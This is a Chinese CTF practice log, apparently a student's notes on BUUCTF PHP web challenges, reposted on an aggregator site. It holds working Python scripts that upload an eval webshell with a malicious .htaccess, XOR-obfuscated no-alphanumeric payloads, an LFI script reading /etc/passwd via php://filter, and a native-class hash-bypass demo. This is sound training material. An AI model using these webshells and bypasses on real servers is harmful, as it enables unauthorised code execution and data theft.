IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctf-buu练习记录 -> 正文阅读

[PHP知识库]ctf-buu练习记录

(这周确实划水严重

[SUCTF 2019]EasyWeb php异或

异或实现调用函数

文件上传及绕过 .htaccess

bypass disable_function

收获

PHP5与PHP7

在PHP5中,assert()是一个函数,可以使用 = a s s e r t ; _=assert; =?assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。
在PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();

刚开始一直用php5的版本导致没成功

import requests
import base64

shell = b'GIF89a12' + base64.b64encode(b"<?php eval($_REQUEST['aaa']);?>")
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {'file':('123.aszxc',shell,'image/jpeg')}
data = {"upload_test":"Submit_test"}
r = requests.post(url=url,data=data,files=files)
print(r.text)


htaccess = b'''
#define width 1337
#define height 1337
AddType application/x-httpd-php .aszxc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_8d417bc0aa101d705aea19b3653e6b6c/123.aszxc"
'''
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload_test":"Submit_test"}
r = requests.post(url=url,data=data,files=files)
print(r.text)

照着网上的抄了一遍,(比网上的更加臃肿,抄的时候漏了一个冒号导致一直返回500状态码

wp

https://blog.csdn.net/rfrder/article/details/111207725 feng的wp

https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/ (含脚本)

https://mp.weixin.qq.com/s/Gb9SW0Sl63xbQ21pSY_JOg 《老生常谈的无字母数字Webshell总结》一篇挺详细的文章

https://xz.aliyun.com/t/5677 一道题回顾php异或webshell (非本题)

疑问

<?php
$a = $_GET[0];
eval($a);
?>
//http://127.0.0.1/test.php?0=${%60%7b%7b%7b^%3f%3c%3e%2f}{%81}();&%81=phpinfo   自己网上找的,不可用(暂时不知道为啥)  。。。额,加上引号才行,为啥人家的不用就行,因为是不可见字符???//自己的是"`{{{"^"?<>/";
//?0=${%80%80%80%80^%DF%C7%C5%D4}{%81}();&%81=phpinfo    wp看到,可用

[MRCTF2020]Ezaudit php伪随机数

目录扫描,源码泄露

php伪随机数的问题没怎么做过,对公钥的处理脚本不太明白,不去关注。

学了Linux下编译C文件(之前没接触过)。

还有一个坑,拿到种子生成私钥的时候和php版本有关,所以要对比一下公钥。

https://blog.csdn.net/DARKNOTES/article/details/109249037

https://blog.csdn.net/jvkyvly/article/details/118161603

枯燥的抽奖(同上)

不知道为啥没爆破出种子来。。。

[NPUCTF2020]ezinclude php包含临时文件

扫目录看到dir.php,用伪协议读到源码

<?php
var_dump(scandir('/tmp'));
?>

感觉是写文件,但 data://,php://input 过滤了,然后就去看wp了(

让php报段错误后临时文件会被保留,有phpinfo()的话可以竞争

抄了个脚本

import requests
from io import BytesIO
import re
file_data={
	'file': BytesIO("<?php eval($_GET[1]);")
}
url="http://52f9fee5-1f3a-40ac-ad38-a1c2f06e20b1.node4.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
	url="http://52f9fee5-1f3a-40ac-ad38-a1c2f06e20b1.node4.buuoj.cn/dir.php"

参考文章

https://blog.csdn.net/rfrder/article/details/114656092 wp

https://guokeya.github.io/post/cbMk6sLKe/ PHP LFI的两种姿势(PHP7崩溃+phpinfo缓存文件)

LFI PHPINFO OR PHP7 Segment Fault Getshell 同上

[GXYCTF2019]StrongestMind 爬虫题

用session维持会话 (buu上延时要长一些,不然太快总返回500)

import requests
import time
import re
s = requests.session()
url = "http://05225c89-906f-45f2-a93e-5c99e987bc29.node4.buuoj.cn/"
# r = s.get(url)
# text = r.text.encode('iso-8859-1').decode('utf-8')
# # print(text)
# number = re.search(r'\d{8} [-+] \d{8}',text)
# # print(number.group())
# answer = eval(number.group())
# print(answer)
# data = {"answer":answer}
# r = s.post(url=url,data=data)
# print(r.text)
r1 = s.get(url)
text = r1.text
for i in range(1001):
	# r1 = s.get(url)
	# text = r1.text
	number = re.search(r'\d{2,9} [-+] \d{2,9}',text)
	print(number.group())
	answer = eval(number.group())
	data = {"answer":answer}
	r2 = s.post(url=url,data=data)
	r2.encoding = 'utf-8'
	print(r2.text)
	text = r2.text

	time.sleep(1)

[极客大挑战 2020]Greatphp

打开显示源码

 <?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

本打算数组绕过,发现这是类中,看了wp,有个demo,注意两个“payload”内容要一样,而且要写在一行上。

“这里考了一个新的绕过hash的思路,即通过利用原生类,比如Error,Exception等进行绕过”。

<?php                      //demo
$a = new Error("payload",1);$b = new Error("payload",2);//把他俩写在一行上才行
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if($a != $b)
{
	echo "a!=b";
}
echo "<br>";
if(md5($a) === md5($b))
{
	echo "md5相等"."<br>";
}
if(sha1($a)=== sha1($b)){
    echo "sha1相等";
}


然后想rce但没构造出来,而且不懂为啥要写?><?=***?>之类的,明天问问吧

参考文章

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html 反序列化时php原生类的一些利用

http://m0th.top/2021/01/08/2020-Greatphp/ wp

https://blog.csdn.net/fmyyy1/article/details/117162062 wp

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-30 12:32:03  更:2021-07-30 12:33:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 2:56:15-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码